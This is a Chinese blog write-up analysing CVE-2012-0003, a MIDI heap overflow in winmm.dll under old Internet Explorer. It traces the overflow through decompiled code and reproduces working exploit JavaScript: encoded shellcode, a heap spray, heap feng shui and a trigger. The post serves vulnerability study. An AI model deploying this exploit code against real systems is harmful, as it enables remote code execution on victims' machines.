热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

漏洞分析丨cve20120003

作者:黑蛋一、漏洞简介这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产

作者:黑蛋

一、漏洞简介

这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。

二、漏洞环境

虚拟机

调试工具

目标软件

辅助工具

XP-SP3、Kali

OD、IDA

IE6

Windbg组件gflags.exe

三、MIDI文件简介

MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。

结构图如下:

块名称

块标记(四字节)

块长度(四字节)

块数据

头块

“MThd”

00000006

6字节长度

音轨块1

“MTrk”

后面块数据长度

音轨事件数据

...

...

...

...

音轨块n

“MTrk”

后面块数据长度

音轨事件数据

头结构:

偏移

长度

描述

数值

0x00

4

块标记

“MThd”

0x04

4

块长度

00000006

0x08

2

格式类型

0~2

0x10

2

音轨数

1~65535

0x12

2

每拍的计数值

0x60为八分一拍

音轨事件:

事件类型

格式

描述

关闭音符(Note Off)

0x8n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

打开音符(Note On)

0x9n note velocity

n 代表通道号,note 代表高音数值,velocity 代表按键速度

触后音符(Note Aftertouch)

0xAn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

控制器(Controler)

0xBn type value

n 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值

音色切换(Program Change)

0xCn num

n 代表通道号,num 代表音色号

触后通道(Channel Afertouch)

0xCn note amount

n 代表通道号,note 代表高音数值,amount 代表按压力度

滑音(Pitch Bend)

0xEn LSB MSB

n 代表通道号,LSB 代表低位值,MSB 代表高位值

四、漏洞复现

使用MSF生成exp:

使用箭头指向的链接地址,在XP-SP3中使用IE打开:

五、漏洞溯源

首先通过Windbg中一个组件gflags.exe开启IE页堆保护:

接下来找一个mid文件,或者用以下命令在kali中下载:

wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径

然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):

接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:

查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

接下来分析这段代码,看看v26来源:

void __stdcall sub_76B2D038(int a1)

{

int v1; // edi@1

int v2; // esi@2

int v3; // ecx@5

int v4; // eax@5

bool v5; // zf@5

bool v6; // sf@5

unsigned __int8 v7; // of@5

int v8; // edx@6

int v9; // ebx@6

int v10; // ST18_4@6

unsigned int v11; // ecx@6

unsigned int v12; // eax@6

int v13; // ecx@6

unsigned __int8 v14; // al@9

signed int v15; // eax@14

int v16; // ebx@16

int v17; // esi@18

int v18; // eax@18

int v19; // ST18_4@25

int v20; // esi@26

unsigned __int8 v21; // al@27

unsigned int v22; // ebx@28

__int64 v23; // rax@32

int v24; // eax@32

int v25; // esi@34

char v26; // al@34

char v27; // dl@34

char v28; // al@36

int v29; // edx@40

char v30; // al@40

char v31; // al@42

int v32; // [sp+4h] [bp-14h]@6

int v33; // [sp+8h] [bp-10h]@6

int v34; // [sp+Ch] [bp-Ch]@6

int v35; // [sp+10h] [bp-8h]@6

char v36; // [sp+17h] [bp-1h]@30

int v37; // [sp+20h] [bp+8h]@5

signed int v38; // [sp+20h] [bp+8h]@17

char v39; // [sp+23h] [bp+Bh]@6

unsigned __int8 v40; // [sp+23h] [bp+Bh]@28

v1 = a1;

if ( !*(_DWORD *)(a1 + 52) )

{

while ( 1 )

{

while ( 1 )

{

v2 = *(_DWORD *)(v1 + 60);

if ( !v2 )

return;

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

v3 = *(_DWORD *)v2;

v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));

v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));

v5 = v4 == *(_DWORD *)(v1 + 128);

v6 &#61; v4 - *(_DWORD *)(v1 &#43; 128) <0;

v37 &#61; *(_DWORD *)v2;

*(_DWORD *)(v1 &#43; 116) &#61; v4;

if ( !((unsigned __int8)(v6 ^ v7) | v5) )

return;

v8 &#61; *(_DWORD *)(v2 &#43; 36);

*(_DWORD *)(v1 &#43; 124) &#61; v4;

*(_DWORD *)(v2 &#43; 36) &#43;&#61; 4;

v9 &#61; *(_DWORD *)(v2 &#43; 36);

v10 &#61; *(_DWORD *)(v9 &#43; v3);

v9 &#43;&#61; 4;

v33 &#61; v8;

v32 &#61; v10;

*(_DWORD *)(v2 &#43; 36) &#61; v9;

v34 &#61; sub_76B2C7F7(v1, v10);

v11 &#61; *(_DWORD *)(v9 &#43; v37);

*(_DWORD *)(v2 &#43; 36) &#61; v9 &#43; 4;

v12 &#61; v11 >> 24;

v13 &#61; v11 & 0xFFFFFF;

v39 &#61; v12;

v35 &#61; v13;

if ( v34 && v12 & 0x40 )

{

*(_DWORD *)(v2 &#43; 28) &#61; v33;

DriverCallback(*(_DWORD *)(v1 &#43; 68), *(_WORD *)(v1 &#43; 74), *(_DWORD *)(v1 &#43; 4), 970, *(_DWORD *)(v1 &#43; 76), v2, 0);

LOBYTE(v12) &#61; v39;

v13 &#61; v35;

}

v14 &#61; v12 & 0xBF;

if ( v14 )

{

if ( v14 &#61;&#61; 1 )

{

v19 &#61; *(_DWORD *)(v1 &#43; 124);

*(_DWORD *)(v1 &#43; 48) &#61; v13;

sub_76B2CA24(v1, v19);

}

else if ( v14 &#61;&#61; 128 )

{

*(_DWORD *)(v2 &#43; 36) &#43;&#61; (v13 &#43; 3) & 0xFFFFFFFC;

v15 &#61; 1;

if ( v32 &#61;&#61; -1 )

v15 &#61; *(_DWORD *)(v1 &#43; 140);

v16 &#61; *(_DWORD *)(v2 &#43; 24);

*(_DWORD *)(v1 &#43; 136) &#61; 0;

*(_DWORD *)(v1 &#43; 8) |&#61; 0x20u;

*(_DWORD *)(v1 &#43; 52) &#61; 1;

if ( v15 )

{

v38 &#61; v15;

do

{

v17 &#61; *(_DWORD *)(v16 &#43; 4);

*(_DWORD *)(v16 &#43; 4) &#61; v17 &#43; 64;

v18 &#61; sub_76B2C7F7(v1, *(_DWORD *)(v17 &#43; 32));

if ( v18 && !midiOutLongMsg(v18, v17, 64) )

&#43;&#43;*(_DWORD *)(v1 &#43; 136);

--v38;

}

while ( v38 );

}

if ( !*(_DWORD *)(v1 &#43; 136) )

*(_DWORD *)(v1 &#43; 52) &#61; 0;

*(_DWORD *)(v1 &#43; 8) &&#61; 0xFFFFFFDF;

}

else if ( (v14 & 0x80u) !&#61; 0 )

{

*(_DWORD *)(v2 &#43; 36) &#43;&#61; (v13 &#43; 3) & 0xFFFFFFFC;

}

goto LABEL_48;

}

v20 &#61; *(_DWORD *)(v1 &#43; 132);

if ( v34 )

break;

do

{

LABEL_48:

if ( sub_76B2CA8A(v1) )

break;

sub_76B2CAC7(v1);

}

while ( *(_DWORD *)(v1 &#43; 60) );

if ( *(_DWORD *)(v1 &#43; 52) )

return;

}

v21 &#61; v13;

if ( (char)v13 <0 )

{

*(_BYTE *)(v1 &#43; 84) &#61; v13;

v40 &#61; BYTE1(v13);

v22 &#61; (unsigned int)v13 >> 16;

}

else

{

v21 &#61; *(_BYTE *)(v1 &#43; 84);

v40 &#61; v13;

v22 &#61; (unsigned int)v13 >> 8;

v13 &#61; v21 | (v13 <<8);

}

v36 &#61; v21 & 0xF0;

if ( (v21 & 0xF0) &#61;&#61; -112 || (v21 & 0xF0) &#61;&#61; -128 )

{

v23 &#61; v40 &#43; ((v21 & 0xF) <<7);

v24 &#61; ((signed int)v23 - HIDWORD(v23)) >> 1;

if ( v36 &#61;&#61; -128 || !(_BYTE)v22 )

{

v29 &#61; v24 &#43; v20;

v30 &#61; *(_BYTE *)(v24 &#43; v20);

if ( v40 & 1 )

{

if ( !(v30 & 0xF0) )

goto LABEL_46;

v31 &#61; v30 - 16;

}

else

{

if ( !(v30 & 0xF) )

goto LABEL_46;

v31 &#61; v30 - 1;

}

*(_BYTE *)v29 &#61; v31;

goto LABEL_46;

}

v25 &#61; v24 &#43; v20;

v26 &#61; *(_BYTE *)v25; // 这里

v27 &#61; *(_BYTE *)v25;

if ( v40 & 1 )

{

if ( (v27 & 0xF0) !&#61; -16 )

{

v28 &#61; v26 &#43; 16;

LABEL_39:

*(_BYTE *)v25 &#61; v28;

goto LABEL_46;

}

}

else if ( (v27 & 0xF) !&#61; 15 )

{

v28 &#61; v26 &#43; 1;

goto LABEL_39;

}

}

LABEL_46:

midiOutShortMsg(v34, v13);

goto LABEL_48;

}

}

根据分析&#xff0c;可以得到以下几个局部变量和寄存机关系以及相对于的地址&#xff1a;

V1 &#61; edi 76B2D050

V2 &#61; esi 76B2D06D

v9 &#61; ebx 76B2D0B5

V11&#61; ecx 76B2D0C3

V13&#61; ecx 76B2D0D1

V20 &#61; esi 76B2D248

V21 &#61; dl 76B2D1F3

V24&#61; eax 76B2D21E

a1 &#61; edi 76B2D044

在OD附加IE后&#xff0c;运行起来&#xff0c;找到以上地址下条件断点&#xff1a;

然后跑起来&#xff0c;拖入1.html&#xff0c;到达溢出点&#xff0c;Alt&#43;L查看日志&#xff1a;

可以发现在溢出前&#xff0c;v11&#61;v13&#61;007DB29F&#xff0c;是在相应位置下条件断点&#xff1a;

随后拖入1.html&#xff0c;断在了断点处&#xff0c;溢出点是读取ESI位置出现异常&#xff0c;我们向上观察ESI的值的来源&#xff0c;76B2D21E处是ADD ESI&#xff0c;EAX&#xff1a;

回到IDA中&#xff0c;对ESI溯源&#xff1a;

发现v20的值来源于参数a1&#43;132&#xff1b;找a1的来源&#xff0c;看函数引用&#xff1a;

继续找v6&#xff1a;

继续找v7&#xff0c;正好可以看到v7&#43;132的值&#xff1a;

继续跟进去sub_76B2B29D:

综上&#xff0c;可以看到ESI的值指向一个1024&#xff08;0x400)字节的堆空间&#xff0c;返回到溢出位置&#xff0c;ESI&#43;0x419超出0x400&#xff0c;所以造成溢出。

五、漏洞利用

首先我们对exp中的JS代码进行提取&#xff1a;

//堆喷射技术

var heap_obj &#61; new heapLib.ie(0x10000);

var code &#61; unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");

var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF &#61; "%u0c0c%u0c0c";

var nops &#61; unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);

while (nops.length <0x1000) nops&#43;&#61; nops;

var shellcode &#61; nops.substring(0,0x800 - code.length) &#43; code;

while (shellcode.length <0x40000) shellcode &#43;&#61; shellcode;

var block &#61; shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i&#61;0; i <600; i&#43;&#43;) {

heap_obj.alloc(block);

}

这一堆代码就是构造一堆0c0c0c0c&#43;shellcode的堆喷射代码。

var heap &#61; new heapLib.ie();

var selob &#61; document.createElement("select")

selob.w0 &#61; unescape("%u0c0c%u0c0c")

selob.w1 &#61; alert

selob.w2 &#61; alert

selob.w3 &#61; alert

selob.w4 &#61; alert

selob.w5 &#61; alert

selob.w6 &#61; alert

selob.w7 &#61; alert

selob.w8 &#61; alert

selob.w9 &#61; alert

selob.w10 &#61; alert

selob.w11 &#61; alert

selob.w12 &#61; alert

selob.w13 &#61; alert

selob.w14 &#61; alert

selob.w15 &#61; alert

selob.w16 &#61; alert

selob.w17 &#61; alert

selob.w18 &#61; alert

selob.w19 &#61; alert

selob.w20 &#61; alert

selob.w21 &#61; alert

selob.w22 &#61; alert

selob.w23 &#61; alert

selob.w24 &#61; alert

selob.w25 &#61; alert

selob.w26 &#61; alert

selob.w27 &#61; alert

selob.w28 &#61; alert

selob.w29 &#61; alert

selob.w30 &#61; alert

selob.w31 &#61; alert

selob.w32 &#61; alert

selob.w33 &#61; alert

selob.w34 &#61; alert

selob.w35 &#61; alert

selob.w36 &#61; alert

selob.w37 &#61; alert

selob.w38 &#61; alert

selob.w39 &#61; alert

selob.w40 &#61; alert

selob.w41 &#61; alert

selob.w42 &#61; alert

selob.w43 &#61; alert

selob.w44 &#61; alert

selob.w45 &#61; alert

selob.w46 &#61; alert

selob.w47 &#61; alert

selob.w48 &#61; alert

selob.w49 &#61; alert

selob.w50 &#61; alert

selob.w51 &#61; alert

selob.w52 &#61; alert

selob.w53 &#61; alert

selob.w54 &#61; alert

selob.w55 &#61; alert

var clones &#61; new Array(1000);

function feng_shui() {

heap.gc();

var i &#61; 0;

while (i <1000) {

clones[i] &#61; selob.cloneNode(true)

i &#61; i &#43; 1;

}

var j &#61; 0;

while (j <1000) {

delete clones[j];

CollectGarbage();

j &#61; j &#43; 2;

}

}

feng_shui();

function trigger(){

var k &#61; 999;

while (k > 0) {

if (typeof(clones[k].w0) &#61;&#61; "string") {

} else {

clones[k].w0(&#39;come on!&#39;);

}

k &#61; k - 2;

}

feng_shui();

document.audio.Play();

}

这一块是创建一个select元素&#xff0c;并设置第一个属性为String“0x0C0C0C0C”&#xff0c;其他55个为Object属性。随后创建一个1000字节数组在堆空间中&#xff0c;循坏拷贝selob到数组中&#xff0c;然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间&#xff1a;

这样空闲堆块前后都是我们自己的数据&#xff0c;而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里&#xff0c;String在内存中用0x08代表&#xff0c;Object0x09代表。

最后调用 trigger()函数&#xff0c;是遍历数组元素&#xff0c;若属性是Object&#xff0c;就执行clones[k].w0(&#39;come on!&#39;)&#xff0c;而在这里会调用CAttrValue::GetIntoVariant函数&#xff0c;这个函数会获取续表指针&#xff0c;调用虚表函数。

这里是溢出点&#xff0c;在溢出点的时候AL&#61;0x08&#xff0c;是String&#xff0c;而在代码下方箭头地址指向代码Al&#43;1&#61;0x09&#xff0c;后续调用Trigger函数&#xff0c;走到clones[k].w0(&#39;come on!&#39;)&#xff0c;而这个语句会调用虚表&#xff0c;每一个对象前四个字节都是虚表地址&#xff0c;及0C0C0C0C,从而走到我们构造的堆里面运行shellcode&#xff0c;下面是取消页堆&#xff0c;然后再溢出点下断点&#xff0c;走到下方AL&#43;1的位置&#xff1a;

我们看一下堆喷地址0x0C0C0C0C&#xff1a;

这一块都是0C0C0C0C&#43;shellcode&#xff0c;一直重复的地址。继续走&#xff0c;可以看到计算器被弹出&#xff1a;


推荐阅读
  • 本文详细介绍了GetModuleFileName函数的用法,该函数可以用于获取当前模块所在的路径,方便进行文件操作和读取配置信息。文章通过示例代码和详细的解释,帮助读者理解和使用该函数。同时,还提供了相关的API函数声明和说明。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • 本文介绍了三种方法来实现在Win7系统中显示桌面的快捷方式,包括使用任务栏快速启动栏、运行命令和自己创建快捷方式的方法。具体操作步骤详细说明,并提供了保存图标的路径,方便以后使用。 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 如何用JNI技术调用Java接口以及提高Java性能的详解
    本文介绍了如何使用JNI技术调用Java接口,并详细解析了如何通过JNI技术提高Java的性能。同时还讨论了JNI调用Java的private方法、Java开发中使用JNI技术的情况以及使用Java的JNI技术调用C++时的运行效率问题。文章还介绍了JNIEnv类型的使用方法,包括创建Java对象、调用Java对象的方法、获取Java对象的属性等操作。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 本文分析了Wince程序内存和存储内存的分布及作用。Wince内存包括系统内存、对象存储和程序内存,其中系统内存占用了一部分SDRAM,而剩下的30M为程序内存和存储内存。对象存储是嵌入式wince操作系统中的一个新概念,常用于消费电子设备中。此外,文章还介绍了主电源和后备电池在操作系统中的作用。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • Android源码深入理解JNI技术的概述和应用
    本文介绍了Android源码中的JNI技术,包括概述和应用。JNI是Java Native Interface的缩写,是一种技术,可以实现Java程序调用Native语言写的函数,以及Native程序调用Java层的函数。在Android平台上,JNI充当了连接Java世界和Native世界的桥梁。本文通过分析Android源码中的相关文件和位置,深入探讨了JNI技术在Android开发中的重要性和应用场景。 ... [详细]
  • 本文讨论了在VMWARE5.1的虚拟服务器Windows Server 2008R2上安装oracle 10g客户端时出现的问题,并提供了解决方法。错误日志显示了异常访问违例,通过分析日志中的问题帧,找到了解决问题的线索。文章详细介绍了解决方法,帮助读者顺利安装oracle 10g客户端。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • OCI连接MySQL_PLSQL Developer连接远程数据库OCI客户端安装方法
    本文介绍了使用OCI客户端连接MySQL和PLSQL Developer连接远程数据库的安装方法,避免了在本地安装Oracle数据库或类似的开发套件的麻烦,同时解决了PLSQL Dev连接远程Oracle时的配置问题。 ... [详细]
  • Windows7企业版怎样存储安全新功能详解
    本文介绍了电脑公司发布的GHOST WIN7 SP1 X64 通用特别版 V2019.12,软件大小为5.71 GB,支持简体中文,属于国产软件,免费使用。文章还提到了用户评分和软件分类为Win7系统,运行环境为Windows。同时,文章还介绍了平台检测结果,无插件,通过了360、腾讯、金山和瑞星的检测。此外,文章还提到了本地下载文件大小为5.71 GB,需要先下载高速下载器才能进行高速下载。最后,文章详细解释了Windows7企业版的存储安全新功能。 ... [详细]
author-avatar
shaonan
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有